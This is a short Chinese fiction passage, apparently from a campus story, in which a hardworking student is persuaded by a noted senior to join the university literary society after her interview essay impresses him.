看完舍友发来的公众号推文后,她才知道,原来中文系竟然有一位颇有名气的学长。
据说是高中时就出版过两本散文集,在写作上有些灵气,而且成绩还相当优异,一直都是年级绩点第一,很受学院老师的喜欢。至于其他同学对他的追捧,那更是自不必说。
抱着给舍友拿签名的想法,夏咏恩去参加了面试。她绝对想不到,那篇随手写下的文章,得到了梁修文的高度赏识。
收到面试通过的通知时,夏咏恩在校门口的螺蛳粉店打工。对于文学社的邀请,她想都没有想就说,“我不去。”
隔天,梁修文来到螺蛳粉店,言简意赅地表达了对夏咏恩的欣赏,以及诚挚的邀请,“除了文学作品的围读之外,我们还会举办许多校园写作大赛,校外的活动就更多了,我们会不定期组织探访独立书店的活动,在城市里进行文学漫步,去那些知名作家去过的地方……”
她用心地拖着地,“我没有时间,周末我要打工,平时我要去图书馆。”
被拒绝多次后,梁修文没有偃旗息鼓,干脆换了个策略,“你很想拿奖学金是吗?”
夏咏恩点了点头,她不知道梁修文这样问的用意,略带警惕地盯着他。
梁修文看着她笑,“文学社有很多活动,活动可以加绩点,你可以跟别人拉开一大截。”
就这样,夏咏恩不仅拿到了梁修文的签名,还进了文学社。而那一篇面试时写的文章,一直都粘在文学社社团活动室的黑板上。
她问梁修文,“这篇东西到底好在哪里?”
这个问题,社团里的其他人自然也问过。而每一次梁修文给出的答案都是相似的,“这篇文章,很特别。”